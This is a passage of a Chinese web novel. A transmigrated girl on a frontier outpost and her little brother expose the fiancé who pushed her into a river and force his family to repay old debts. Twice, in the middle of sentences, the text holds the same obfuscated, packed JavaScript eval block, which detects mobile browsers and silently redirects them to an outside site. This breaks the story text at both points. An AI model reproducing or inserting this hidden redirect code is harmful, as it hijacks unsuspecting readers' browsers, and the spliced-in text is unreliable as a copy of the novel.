《北境边关生存日常》 1. 相依为命 天旋地转之后,唐宛以一种迟滞而沉重的方式往下坠。 她意识到自己正在水底,耳边有模糊的水流声,无法呼吸的窒息感,和如同无数冰针同时扎进皮肤的刺骨寒冷。 她本能地扑腾了一下,想要往上游,可手脚根本不听使唤。 憋不住气呛了一大口水,喉咙火辣辣地疼,肺里像着了火。 她想呼吸,可吸进的全是水。她想往水面去,可甚至不确定哪边是上,哪边是下。 她挣扎着睁眼,水刺得眼睛生疼,只看到幽深的一团黑。 意识渐渐模糊,耳边只剩哗哗的水声和自己凌乱的心跳。 就在她快要放弃时,忽然,身后一双大掌环住了她的腰,将她稳稳托住,带着她往上游。 耳边水声哗啦哗啦,断断续续带着让人安心的节奏。 有人救了她。 唐宛扭头看了一眼,看清了那人的模样。 那无疑是一张非常帅气的脸,眉眼深邃,鼻梁挺直,嘴角紧抿,下颌线流畅清晰。皮肤是健康的麦色,眼神冷静而专注。 英俊得不像凡人。 肯定不是凡人,毕竟她都已经死了。 那么,是鬼差吗? 唐宛意识有些昏沉,却感觉紧贴在身后的躯体肌肉起伏分明,触感温热。 ……是热的? 她下意识伸手,沿着男人的腰侧摸了一把。 确实是热的。 手感很结实,有点好摸。 她微微一愣,忍不住又摸了一把。 男人明显一顿,低头看了她一眼,眉头微蹙,却动作不减,继续带着她往水面游。 下一瞬,两人一起破水而出。 “咳、咳咳——!” 唐宛猛地弓起身子,连着咳了好几口,呛得整个人都在抖。 男人加快了速度,拖着她朝岸边游。 她刚被放到地上,整个人就被翻了个面。下一秒,一股力道压上腹部,她“呕”了一声,被迫吐出腹中积水,呛咳声中,眼泪一起涌了出来。 等她终于松懈下来,脑海中“嗡”的一声,涌入大量记忆。唐宛什么都来不及思考,眼前一黑,陷入了一片黑沉。 再度醒来的时候,唐宛发现自己身处一间陌生而熟悉的窄屋。 房间阴冷狭小,糊了很多层的窗纸勉强挡住了窗外的冷风,光线昏暗,可窗棱的缝隙还是漏进了些许春日的薄寒。 头顶是陈旧的房梁和瓦顶,身下是旧木板拼成的简陋木床,唐宛不动声色地打量,随着轻微的动作,床板咯吱咯吱,床脚也轻晃了两下。 “阿姊……你醒了?”一道发涩的童音轻轻响起。 唐宛侧头,看到床边坐着一个小男孩。 他穿着补丁摞着补丁的粗布短袄,脸色苍白,身形瘦小,眼眶红红的,像在极力忍着哭。 男孩今年应该十岁,因为营养不良,看着只有七八岁那么点大。 这个眼圈红得像兔子的小男孩,是原主的弟弟,唐睦。 唐宛穿越了,穿成了一个跟她同名同姓的十五岁少女。在她被人救上岸之后,原主的记忆被灌进了她的脑海。 这是一个名为大雍的王朝,不在她熟悉的任何一段历史里,眼下是元和五年。 原主祖籍在青州,祖父少年时参军戍边,退伍后在这北境小城帮军户抄写书信维生。祖母早亡,父亲战死,母亲改嫁,去年冬天祖父病重,没能熬过那场冷得刺骨的苦寒。 祖父病死后,家中只剩姐弟两个相依为命。 唐睦看到她醒来,原本只是泛红的眼圈,泪珠瞬间滚落下来。他用力地抹了把脸,眼泪却越抹越多:“阿姊,你别死,别丢下我一个人……” 唐宛静静看着他,心头一阵发涩,说不出是什么滋味。 她没法告诉他,他的阿姊,已经死了。 死在那潭冰冷刺骨的河水中。 男孩见她不说话,眼泪掉得更凶,声音带上了些许哭腔:“阿姊,别丢下我,好不好?我以后都听你的,什么都听你的……” 唐宛只好慢慢抬手,安抚地摸了摸他微乱的发顶。 “好。” 只这一句,小男孩像是抓住了浮木,死死抓着她的手,哽咽着说:“陈家背信弃义,我们不理他们就是了,阿姊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901866|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你又何苦为这样的人寻短见……” 唐宛眼底浮起一抹冷意。 “谁说我寻短见了?” 她嗓子干涩,声音有点哑,却吐字清晰。 唐睦怔住,抬头看她。 唐宛却问他:“是陈文彦说的吗?” 唐睦摇了摇头:“不是……晌午阿姊落水,被陆家二哥哥救起送回家来,邻人看见了,都说你因为被陈家退婚,一时想不开才……” 唐宛轻声道:“你阿姊答应过祖父,要好好照顾你长大。怎么可能为了那种人去送命?” 唐睦想起了刚过世的祖父,眼圈又红了,隐隐也觉出了不对:“那到底是怎么回事?” “是陈文彦。”唐宛眼中浮现几分锐利,“他把你阿姊推下河的。” 唐睦瞳孔骤缩,脸色瞬间煞白。 “他竟然……我,我现在就去找他问清楚!” “现在去没用。”唐宛一把拉住他,“你阿姊当时听见邻人议论他要另娶,打算找他质问……” 唐宛声音有些虚浮,“当时,他把我引去河边,那地方偏僻,我原以为只是为了说话方便,没想到他早有预谋。” “难道就这样算了?”唐睦气得浑身发抖,双拳紧攥,小脸涨得通红,“他竟然敢推你下河!要不是陆二哥救你……你就真的……” “是啊。” 唐宛回想着冰冷刺骨的河水,直至此刻骨缝里依然沁着寒意。 她本是个已死之人,不知因为什么机缘穿越到这里,奇迹般地活了下来。 老天给了她一次重来的机会。于情于理,都该为原主报仇。 沉思片刻,唐宛对男孩招了招手,与他低声耳语几句。 男孩虽然出身苦寒,却从小跟着祖父读书认字,性子纯善。听了唐宛的话,起初还有些犹豫,但想到姐阿姊差点命丧河底,那股委屈和怒火便一下子冲了上来。 北境冬日漫长,虽已阳春三月,很多河面才开始化冰,那么冷的水,阿姊当时在水中得多无助,多绝望…… “好,阿姊,我都听你的。”少年重重点了点头,小小的脸上浮现一丝坚毅。 2. 落水真相 唐睦出了门,低着头,小小的身体缩在破旧棉袄里,老布纳的千层鞋底有些破了,踩在泥泞的巷道上,发出咕叽咕叽的声音。 脚趾冻得发麻,他却早已习惯。 他走得慢,眼圈红红的,不时抬袖子胡乱擦一下脸。 榆树巷住的都是肃北营军眷,院子挤挨着院子,房屋低矮,院墙只有半人高。 门口搓麻绳的葛三娘瞧见男孩,唤了一声:“睦哥儿?咋了这是?眼睛哭得跟个桃儿似的。” 唐睦停住脚,低声喊了句:“葛婶子。” 他一向乖巧懂事,今日眼睛却红通通的,话音带着哽咽,葛三娘一见就心疼了,低声问:“是不是你阿姊醒了?她好些了没?” “还没醒。”唐睦摇了摇头,声音闷闷的:“她晌午说要去找陈大哥,结果……不知怎么就掉河里了,到现在都没醒。” 这句话一出,葛三娘眼皮一跳,惊问道:“你是说,她是找了陈文彦之后才出的事?” “嗯。”唐睦垂下眼,掩住眼中的忿忿,低声说:“我想找他问问,到底是怎么回事……再让他们还点钱,给我阿姊抓药。” 他这么一说,葛三娘就明白过来。 去岁冬天,老唐头病重花了不少钱,这些年还没少周济陈家母子,恐怕家里根本没什么剩余了,难怪孩子急成这样。 “苗桂枝那个死老抠,让她还钱估计比登天还难。”葛三娘看着眼前的孩子,站起身来,“你等等,婶子陪你去!” 唐睦原就担心自己一个人去恐怕办不成,闻言连忙怯怯地开口:“谢谢婶子。” “谢啥,都是街坊邻居,你祖父那时候可没少帮我们孤儿寡母。” 葛三娘说着,把手里的麻绳往屋里一搁,拍拍衣服就跟了出来。 两人刚出几步,正碰上磨坊的沈老头。葛三娘三言两语一说完原委,老沈头皱起眉头,叼着烟杆子站起来。 “我倒也想听听,他们家是怎么个说法。” 这一条巷子的街坊邻居,好打抱不平者有之,好看热闹的有之,陆陆续续跟来了不少人,剩下没跟的,也都交头接耳、悄悄打听。 有人陪着,唐睦心里稳了不少,一路快步走到巷子西头的陈家门前,隔着院墙喊人。 他声音不算大,但也够里面人听见。 可陈家院门紧闭,屋子里安安静静的,仿佛无人在家。 唐睦却知道,他们一定在家。自从传出陈文彦要退亲另娶,他们母子俩就十分低调,平时不轻易出门,就是怕被街坊嚼舌根。 他对着门内又喊了几声,依然不见回应。 老沈头看不下去了,咳了声:“彦哥儿他娘,知道你在家。睦哥儿只是想问两句话,你出来应一声。” 老沈头从前在军中是个总旗,如今虽然退下来,儿孙还在军中,在邻里间颇有些威望。 苗桂枝能不搭理唐睦,却不能不理睬他。 门里传来一阵动静,半人高的矮墙里头,有个穿着半旧青袄裙的妇人走出来,先是看了唐睦一眼,显然没料到他身后跟着这么多街坊,脸色顿时一变。 可众目睽睽,她也没法躲,只得把门开了。 苗桂枝神色不愉,却还是硬挤出一抹笑来,看向唐睦:“睦哥儿,你来有什么事?” 唐睦看了一眼葛三娘和老沈头,在两人鼓励的目光中,咬了咬牙,鼓起勇气看向苗氏,道:“婶子,我想见陈大哥,问问他早上的事。” 苗氏本想推说陈文彦不在,可他晌午刚回家,指不定谁看见了。这巷子里邻里住得挤,谁家灶上多炖了几根骨头都瞒不住,更别说这种事,实在不好撒谎。 她只得轻咳一声,掩饰道:“你陈大哥昨儿轮值,正歇着呢。你有什么事,就跟我说吧。” 唐睦不再犹豫,脆生生地开口,这下子嗓音大了不少。 “我想问问陈大哥,我阿姊晌午说要去找他说话,怎的就落水了?他能告诉我发生什么事了吗?” 此话一出,围观人群骤然一静。 除了葛三娘和老沈头,其他人都以为唐宛是想不通自寻短见,不知中间竟还有这一遭。 苗氏脸色顿变,急声驳道:“你这孩子,别胡说八道!你陈大哥今儿一早才从大营回来,哪有功夫见你阿姊?怕不是你阿姊自己走路不当心,跌下去了罢!” 唐睦心中恼恨,阿姊说得果然不错,直接找上门,这家人果然不会轻易认账的。 他照着阿姊教他的说辞:“出城那条路,我阿姊打小就走惯了的,以往从没出过事。怎的你们家一说不认这门亲事,她就出事了?这也太巧了吧。” 这话就很犀利了,即便是个孩子嘴里说出来的,大伙儿也听出了几分铿锵之气。 眼看着街坊们议论纷纷,苗氏气得要扑过来:“你个小崽子,胡咧咧什么,看我不撕了你的嘴!” 葛三娘和老沈头连忙上前挡住。 外边吵得热闹,屋里的人却听得心惊肉跳。 陈文彦来到窗根下,悄悄给窗户推开一条缝隙望出去,见自家门前围满了人,心头一阵一阵的发虚。 唐宛,她竟然没死! 他分明亲眼看着她沉下去了,等了半晌都没再浮上来,才敢离开现场。 谁能料到,她居然被人救了回来…… 这事儿,是他千算万算也没料到的。 陈文彦与唐宛的婚事,是两家人早些年定下的。 当年他父亲在与北狄人的交战中被俘,生死未卜,朝廷连抚恤银子都没发。母子两人孤苦无依,若不是老唐头看在同是青州老乡的情分上,平日里时常接济,根本熬不过北境的寒冬。 那时苗氏主动提出,干脆让两家结个亲,等到陈文彦十六岁袭了军籍,两家也好彼此照应。 老唐头早年丧子,儿媳改嫁,独自带着一双年幼的孙儿孙女,始终放心不下。早早给孙女定下一门亲事,也算是了结一桩心愿。 自那之后,老唐头就把陈文彦当成自己亲生孙儿一般照顾,这些年再苦再难,有唐家一口吃的,绝不会让陈家母子挨饿,就想着万一自己哪天走了,这对母子能善待自家孙儿。 可惜人心难测。 老唐头前脚刚咽气,陈文彦后脚便开始疏远唐家,打算另攀高枝。 陈文彦自觉对唐宛不是没有感情。唐宛年纪虽小,却生得明艳出挑,是几个巷子里出了名的俊俏姑娘,性子又爽利,不矫情,从没因他家贫困而流露过半点嫌弃。 倘若不是百户长相中了他,陈文彦是很愿意与她成婚的。可他也没有办法,如果拒绝百户长,他的前程也就毁了。 陈文彦这么说服对方的时候,却完全忽略了周百户在询问他可曾定亲时,自己的刻意误导。 周家娘子虽不如唐宛长得好看,可她家底殷实,会陪嫁百亩良田,更别说父兄都在军中担任要职,有着大好的前程。 陈文彦原本打算,自己娶了周家娘子,日后飞黄腾达,定会好好补偿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901867|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐家。 再说,唐睦将来若想出头,不也还得靠他提携? 可唐宛却不那么想。 她不知从哪里听说自己要娶周娘子的事,甚至等不及他回家,竟一大早跑去城外等他。 陈文彦说了几句身不由己的场面话,唐宛却根本没听懂,还真以为周家仗势逼人,竟执意要去找周家人当面对质,问个清楚。 陈文彦哪能让她去问。 于是他把她带去了一处僻静的河边,本想再劝劝她,可惜根本劝不住。两人拉扯之下,唐宛一个趔趄,竟失足落了水。 陈文彦愣在原地,眼睁睁看她扑腾了几下,便沉了下去。 他是想救的,可双脚却像是被钉在地上一般,挪不动半寸。 他想着:这地方太偏,跑上几里也未必找得到人来救,就算找来,也不一定救得起。倘若救不起来,再让周家人知道唐宛落水时自己就在现场,怕是婚事也要横遭波折。 于是他在原地守了一会儿,直到水面归于平静,才悄然离开。 回军营操练的时候,陈文彦有些担心,但转念一想,那里地方偏僻,尸体多半要过几日才会被发现,这段时间他只要如常操练回家,不露破绽,日后就算唐宛被发现,也牵扯不到他头上来。 可他万万没想到,她竟然没死! 竟是陆铮那小子,将人从水里救了上来,还亲自送回了唐家。 陈文彦晌午从大营回来,听起母亲闲话似的说起这事,心里顿觉一阵冰凉。 虽然他已成功说服自己唐宛是自己跌下去的,可那说辞的根基是唐宛已经死了。 倘若她没死,就一定记得,自己借着拉扯的动作,在她的背后狠狠地推了一下。 那一刻水花四溅,女孩错愕惊恐的眼神,一旦想起,陈文彦就不由自主的心惊肉跳。 此刻,唐睦就在院外质问,陈文彦心乱如麻。 他不清楚这孩子究竟知道多少,也不确定唐宛有没有对他说过什么。 可不管他知道什么,绝对不能让他在街坊面前说出来。 倘若他把自己做过的事情说出来,别说跟周家的婚事,他能不能活着留在军营,都是两说。 陈文彦快步走了出来,强自镇定,脸上挤出一副关切模样:“宛娘……她现在人呢?醒了吗?” 唐睦死死盯着他,咬牙回答:“还没醒,一直昏睡着。” 听到“还没醒”,陈文彦心里蓦地一松。 没醒好啊,只要她没醒,一切都还有回旋余地。 可他还没松完这口气,唐睦又开了口:“陈大哥,我阿姊去找你之前就跟我说过,两家结亲,是结两家之好。若你们陈家如今不愿,我们也不勉强。” “只是我阿姊如今昏睡不醒,家里早把银钱花光了。这些年我祖父接济你们的银钱不在少数,希望你们能念旧情还一点,好让我请大夫为她救命。” 这话一出,苗桂枝脸色顿时变了,大声嚷道:“什么银钱?我们可没欠你们的!” 唐睦却不看他,只直勾勾看着陈文彦。 陈文彦被盯得头皮发紧,后背冷汗直冒。 他一时竟摸不准唐睦这小子究竟有没有说实话。毕竟这孩子从前可不是这般的性子,难不成,唐宛其实已经醒了,且对他说了些什么? 陈文彦不敢冒险。 他扯了扯母亲的袖子,示意她别再多说,转身对唐睦道:“我先去看看你阿姊吧。钱的事,咱们都好说。” 3. 欠债还钱 唐宛肯定没醒。 陈文彦跟着唐睦往外走,一路都在暗自说服自己:倘若她醒了,唐睦就不会是来求银钱,而是直接上门闹事了。 身后,老沈头和葛三娘互看一眼,也默默地跟了上来。 他们本就想看看唐宛的状况,更重要的是得亲眼瞧瞧,陈文彦到底是真关心,还是只做做样子。 一行四人进了唐家小院,屋里静悄悄的。 里屋炕上,唐宛阖眼躺在一方旧被中,身形单薄,呼吸清浅,不仔细看,都看不出几分活人气息。 陈文彦一颗悬着的心略略落了地。 他放轻脚步凑过去,仔细看向床上的女子。 女孩面色苍白,眉头微微蹙着,像是被什么噩梦魇住了,又仿佛下一秒就要醒来。 陈文彦心里一阵发紧,背后不知何时出了一层冷汗。 身后,唐睦跟了过来,低声说:“阿姊已经昏睡大半天了,大夫说没什么大碍,按理说早该醒了,可到现在也没……” 说到一半,他话音一顿,眼里泛出几分红。 老沈头和葛三娘忙是一阵安慰。 陈文彦顿感心虚,连忙接过话头:“要不,再请大夫来看看?” 唐睦抿着唇,并未立即答应。 虽然阿姊就是这么安排的,可他有点不敢离开,不敢把这个差点害死阿姊的人留在家中,单独接近她。 陈文彦以为他担心钱的事,被两个邻居盯着也不好推脱,主动提到:“银钱别担心,我带了。” 老沈头不知是不是看出什么,拿着旱烟杆在墙沿敲了敲,沉声道:“睦哥儿快去,我和你葛婶子就在这帮你照看着。” 葛三娘也拍了拍唐睦肩头:“去吧。” 陈文彦脸色一僵。 哪里还能听不出老沈头和葛三娘的意思?这是防着自己呢。 唐睦果然安下心来,低声道:“那我去去就来。” 说完脚尖一转,往外跑去了。 陈文彦扯了扯嘴角,在老沈头的眼神示意下,只得跟去外屋的条凳上坐下,再不好去看唐宛的情况。 大夫很快就请来了。 老大夫姓吴名让,就住在榆树巷隔壁的青石巷。他原也是肃北营的军卒,早年跟着一位老医官做过几年杂役,学了些跌打损伤、照方抓药的粗浅本事。退役后,他便为街坊们开方看诊,治疗一些小毛病,医术虽然算不得精湛,却因仁心厚道,在这一片颇受敬重。 去岁老唐头害病时也总找他,跟唐家姐弟俩也算熟识了。 得知唐宛依旧昏睡不醒,吴大夫颇为意外。 他晌午看过一回,虽说呛了水受了寒气,身子又弱了些,但脉相平稳、气息也算顺畅,按理说,早该醒了才对。 吴大夫带着疑惑再次来到唐家。 屋里光线幽暗,炕上的唐宛安安静静地躺着,面色依然有些苍白。 吴大夫伸手搭脉,皱着眉沉吟片刻:“脉息虽浅却也算平稳,并无大碍,怎么就没醒呢?” 一旁的唐睦低着头,垂下眼眸没说话。 陈文彦想凑近些看个究竟,却又不敢轻举妄动,惹了旁人的疑心,只能强自按捺,在门口张望。 吴大夫百思不得其解,自言自语道:“怕是受了大惊,神魂一时没稳过来。” 唐睦红着眼问:“那该怎么办啊?” 吴大夫看着这孩子六神无主的样子,不免想起他过世不久的祖父,顿感一阵心疼,叹口气说:“我再开一副安神的药,或许吃了能好转些许。” 唐睦却迟疑道:“可晌午的药钱……还没付呢。” 他说家中无银钱,并非虚言,去岁为了祖父的病,早就掏空了家底。 吴大夫正想摆手说算了,却觉衣袖一紧,低头一看,是唐睦悄悄攥住了他。他眼里含着泪光,却透出几分暗示的意味。 吴大夫微微一怔。 唐睦却已扭头看向陈文彦。 陈文彦与他视线对上,不知怎么的,心里猛地一跳。 他原本还想说几句话,免得这些邻人没注意到自己的付出,被那双黑亮泛红的眼睛盯着,不知怎的手一抖,直接从怀里掏出了荷包。 “欠……欠了多少银钱?”他支支吾吾地问。 吴大夫看了一眼身边的孩子,又看了看门口的陈文彦。他虽家住邻巷,因着时常出诊的缘故,听说的消息不比这边的街坊少什么,大概知道这两家是怎么回事。 于是也没有迟疑,直接说了个数。 陈文彦摇了摇呀,数了铜钱递了过去。 转头又对唐睦硬挤出一丝笑:“你别太担心,你阿姊应该很快就会醒的。” 吴大夫看他一眼,没说什么,收好了银钱,对唐睦说道:“我再开个安神的药方,你等会儿照方抓药,回来熬好喂给你阿姊,一日吃两回,倘若吃过之后仍不见醒,明日再来喊我。” “好的,有劳吴大夫。”唐睦起身,恭恭敬敬地将吴大夫送到院外。 屋内有片刻的安静。 唐睦回来后,声音又变得有些愁苦:“阿姊昏迷一天,什么东西也没吃。我怕她醒来时会饿,家里都没什么吃的了。” 葛三娘见状,连忙说:“睦哥儿别急,等会儿婶子给你熬点米粥送来。” 老沈头也附和:“是啊,你阿姊身子弱,先吃些温和的养一养。” 唐睦简单谢过,却道:“葛婶子,你家也不宽裕,我不想平白麻烦您……我听说,陈大哥最近升了小旗,饷银也涨了些,能不能……” 这话一出,陈文彦脸色微变。 他升了小旗的事,只跟母亲说过,还从没在街坊提起过半句。 这小子怎会知道? 难道是唐宛那天去大营找他时,从哪个士兵口中听说的?这么说……她其实根本已经醒了? 冷汗猛然从后背渗了出来。 他神魂不定,一时竟然忘了回应。 唐睦只当他还在装聋作哑,眼中露出几分鄙夷,声音也带上了些许恼火:“以前祖父在时,借给你家的银钱粮食不在少数,陈大哥能不能先还我们一部分?我打算买几个鸡子,炖给阿姊补补身子。” 这番话说得陈文彦脸上一阵红一阵白。 老唐头在世时,确实没少接济过他们母子俩。老头子真心把陈文彦当孙女婿照看的,当然不曾记过账,更别说什么借条。若真像他娘苗桂枝那般一口否认,唐家两个无依无靠的姐弟俩,确实也拿他们没办法。 可陈文彦不是苗桂枝,他心里有鬼,不敢这么做。 唐宛死了倒也罢了,可她偏偏没死。既然没死,自己就不能把事情做绝了。 陈文彦脑中快速盘算着。 趁她现在什么事情都没来得及说,自己先把唐家这些年的恩情都还了,一方面对她来说也是个安抚,毕竟把那事儿说出去,于人于己都没什么好处。 再者,他这会儿把姿态摆得端正,让街坊们看了都没话说,这样就算她醒来再说什么有的没的,其他人也就未必信了。 这么想着,陈文彦便大方起来。 他干脆地掏出了荷包,直接放在唐睦手里,笑道:“也好,这些钱你先拿着,买药买吃的,都从里头支取便是。” 唐睦看着那荷包,却暗自冷笑,接过来直接解开,往桌子上一倒。 一阵“叮铃当啷”的轻微响动,铜钱尽数落在桌面,堆成一小堆。 这一忽然的举动,把老沈头和葛三娘都看愣住了。 唐睦却当着他们的面点数了起来,数完看向陈文彦,脆声说:“这里一共五十六文,加上你刚刚付给吴大夫的二十文,一共是七十六文。” 老沈头和葛三娘闻言这才明白他的意思,彼此交换了一个目光,暗自点头。 说得多么好听,让买药买吃食,原来拢共才七十几个铜子儿,竟然连一块散银子都没。 亏得唐睦精明,当着他们的面点数清楚了,不然陈家还不一定怎么说的。 唐睦将铜钱收好,又道:“陈大哥,这两日你跟苗婶子找个空闲,我们两家把这些年的帐算一算吧。” 他看向老沈头和葛三娘:“到时候也请沈爷爷、葛婶子做个见证。” 两位邻居虽然疑惑,也都连忙答 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唐睦并不放过他,冷冷补枪:“陈大哥倘若一时拿不出银钱,不妨去问问新嫂子。听说新嫂子家很是富裕,既然能干出毁人婚约、夺人夫婿的事,应当也不介意帮你……” 话没说话,陈文彦额头一层细汗猛地渗出来,连忙说:“不必了。就明日吧,我会找个见证人,当面算一算,唐家这些年给过我家多少,我会悉数奉还,一文钱也不会赖。” 说完顿了顿,面色有些阴沉:“不过话说回来,睦哥儿,咱们这些年也是有感情的,你何必……非要把事情做得这么绝?” 唐睦脸色微讶:“陈大哥这话怎么说的?欠债还钱,天经地义,我只是让你还钱而已,就算把事做绝了?” 老沈头在一旁看了半天,睦哥儿做事有分寸,他不必多嘴,这会儿却听不下去了。 他脸色一黑:“彦哥儿这话太偏颇。当年要不是你唐爷爷,你们母子俩早就饿死冻死,如今他们家里困难,没有追究你悔婚背信,只是让你们归还这些年的花用,你竟然还要记仇?” 陈文彦顿时一窒,连声说不敢。 老沈头虽然已经从军中退下来,但他儿子还在军中担任总旗,虽然不是自己的长官,毕竟官大一级压死人,自己哪里得罪得起。 沈老头见他老实了,这才罢休,转头对唐睦道:“罢了,你早点去抓药,照顾好你阿姊。” 说着看向葛三娘,又看了眼陈文彦:“咱们都走吧,明日再来。” 唐睦将两人谢了又谢,把一行人送出院子,拴好院门后,转身快步回到里屋,掩好了房门,蹑手蹑脚凑到床边。 “阿姊?” 先前请大夫的时候,唐睦一直悄悄观察阿姊,总觉得她昏睡太过自然,甚至有点担心她是不是真的昏过去了。 唐宛眼睛睁开一条细缝,小声问:“都走了?” 唐睦心头一松,猛地点了点头:“是,都走了。” 他用极低的声音说道:“阿姊你猜对了,陈文彦果然不认罪,我刚刚都按照你教的说了。” 说着,他脸上露出解气的表情:“阿姊,你没看到真可惜,刚才他魂不守舍的,多半是吓坏了。” 唐宛唇角一勾:“你做得很好。” 她幽幽说道:“咱家的钱粮是祖父一点一点省出来的,那几年他宁可自己省吃俭用,也要让陈家母子吃饱,都是为了我们姐弟俩。倘若他老人家地下有知,知道陈文彦是这样的人,定不会甘心。陈文彦当然罪有应得,但让他认罪之前,这些年吃了我们唐家的,我得让他全部吐出来。” 唐睦一脸肃色,重重点头。 他想起什么,拿出陈文彦给的钱袋子,问唐宛:“那……我去给你抓药?” 唐宛一笑:“不用,我都好了,现在精神好得很呢。” 唐睦心中一喜,却见唐宛摸了摸肚皮:“不过肚子饿是真的。你刚刚不说买几个鸡子吗?去买吧,买回来蒸蛋羹吃。” 唐睦嘴角露出浅笑,低声说:“好!” 4. 倒打一耙 唐宛继续装昏迷,躺在里屋静养。唐睦把院门锁了,独自去集市买了五颗鸡蛋、两小块红糖和一撮老姜。 陈文彦给的荷包转眼就少了小半。 家中没什么余钱,五十几个铜子儿再怎么俭省也没多大意义。加上阿姊才落过水,身子骨受了寒,喝一碗甜甜辣辣、热气腾腾的红糖姜水,再吃一碗嫩滑的蛋羹,能让身子舒服些。 唐睦这么盘算着,花用起来也就不心疼。 他们家人口简单,没什么君子远庖厨的酸规,回到家后,唐睦就直接在院内的灶上生起火,忙活起来。 唐宛毕竟有些虚弱,在床上躺了一会儿竟真的睡过去。被叫醒时,先是闻到一股很浓郁的姜味,定睛一看,床头矮凳上摆着一大碗姜糖水,以及一碗冒着热气的嫩滑蛋羹。 唐睦怕外头听见动静,很小声地说:“阿姊,起来趁热吃吧。” 唐宛一时有些发怔,问道:“这都是你做的?” 唐睦点了点头。 他今年才十岁,实际看起来更小,搁现代才小学三年级,能不能把火点着都是两说,更别说蒸蛋羹了。 唐宛心里一软,坐起来接过碗,问:“你的呢?” “我不饿,阿姊吃就好。” 话是这么说,唐宛注意到小孩儿喉头动了动,眼睛却不看那碗。 半大的孩子怎会不馋?唐宛印象中家里并不富裕,虽然只是普通的鸡蛋,平时只有过生日或年节才有得吃,最多一人一个。这小孩对姐姐倒是大方,看蛋羹的份量起码放了五六颗,满满一碗,堪称奢侈。 唐宛便道:“你再去拿个碗来。” 唐睦一愣,明白她的意思:“阿姊,你吃吧,灶上还煮着碴子粥,和半个糙面饼。” “一起吃。”唐宛坚持地看着他。 唐睦望了望阿姊,终是乖乖转身取了碗过来。 唐宛用木勺将碗里一半的蛋羹拨过去,推到弟弟面前。 唐睦抿了抿唇,在唐宛坚定地动作中没再推让,低头接过去,坐在床头,姐弟俩分吃那一碗嫩滑的蛋羹。 许久没有吃到这么好吃的鸡蛋,唐睦吃得很珍惜,一勺一勺送进口里,终是没忍住对着唐宛甜甜一笑,低声说:“阿姊,蛋羹真好吃!” 唐宛笑着说:“好吃明儿再买。” 唐睦悄悄摸了摸衣兜里的钱袋子,心里却涌出一丝忧虑。 他放下勺,低声道:“阿姊,苗婶子可不好说话。明天,他们真的会还钱吗?” 眼下是三月,马上就是春耕,他们家名下的军田是佃给别人去种的,可种子、农具和耕牛样样都需要花钱。 祖父过世之后,家里十分艰难,原本姐弟俩想找陈家商量怎么办,没想到对方竟打算悔婚另娶。唐宛去找陈文彦对质,说法没要到,却被一把推进了河里。 这事情一桩接着一桩,姐弟俩还没抽出时间来商量。 倘若真的能如计划那般,陈家老老实实退钱,家里还有一丝转圜的余地。可若对方耍赖不认账,接下来将会面临什么,唐睦都不敢细想。 说起这个,就连嫩滑的蛋羹吃起来似乎都没那么香了。 唐宛也思忖起来。 记忆里,苗桂枝确实是个不太好说话的妇人,可能是年轻时吃了不少苦,穷怕了,出了名的爱占便宜,只进不出。 “没关系,他们有把柄在我们这,不敢太硬气。” 唐睦愣了一下,疑惑道:“什么把柄?” 唐宛放低了声音,与他耳语了几句。 “明日还是你去,倘若他们推诿,你就照我说的做。” 院外夜色渐浓,风吹过巷口,带着一丝刺骨寒意。 唐家小屋里,姐弟低声商议,气氛虽有些凝重,倒也和乐融融;巷尾陈家,气氛却是剑拔弩张。 苗桂枝一听说唐家要清账,还让还钱,顿时拉下脸来,尖声嚷起来:“这都哪年陈谷子烂芝麻的事了,谁还专门记着?当时说好的白给我们,现在又算起帐来了?就没这个理儿!” 陈文彦心里一沉,他早料到母亲会是这个态度,眼下只能硬着头皮规劝。 苗桂枝没好气地啐他:“你今天吃错药了?总为他们说话。” 陈文彦原本还想瞒着,横竖怎么也说不通,心里一阵烦躁,只好低声说出了实情。 “唐宛……是我推下水的。这个事儿不答应他们,我怕她把当时的情况说出来。娘,她要是真说出这事儿,我这辈子就全完了!” 说完,屋里一片寂静。 苗桂枝没料到事实竟然是这样,难怪儿子今天一反常态,对那丫头那么关心。 事情一码归一码,一想到自己可能要出一大笔钱,她顿时肉疼起来。 虽说没算过细账,也说不准具体数额,可苗桂枝心里却明镜一样,这些年从唐家连吃带拿,绝对不是一个小数字。 且不说他们家里拿不拿得出这么一笔钱,就算拿得出,她也不愿意给。 都已经进了她的腰包,再拿出来,跟要她性命、剜她血肉没什么区别了。 “娘,钱财是身外之物。若是儿子出了事,往后我如何在军中立身?周家那边,也说不好要出什么变数……” 道理,苗桂枝自然是知道的。可让她掏钱,却是根本不可能。 “没用的东西,都推下去了还能让人爬起来。” 忽然,苗桂枝眼里闪过一丝精光,问道:“你刚才说,那丫头为什么没醒?大夫说过什么?” 陈文彦不明白她为什么问这个,便把当时在唐家看到的情况说了。 “也就是说,大夫觉得她早该醒了,可她偏偏没醒?” 陈文彦点了点头:“大夫说可能神魂受惊,还要再养养。” “神魂受惊?”苗桂枝冷笑一声,便道:“你放心吧,她不会那么容易醒的。” 陈文彦不明白。 “要是能醒早就醒了。”苗桂枝道,“依我看,她就是故意装虚弱,好让街坊同情他们,这是在逼咱家表态呢。她若是好端端的,谁愿意为她奔走?” 陈文彦悚然一惊:“如果她是装的,那不是随时能醒来吗?那……” 那不是随时都有可能把自己推她下水的事情说出去吗? 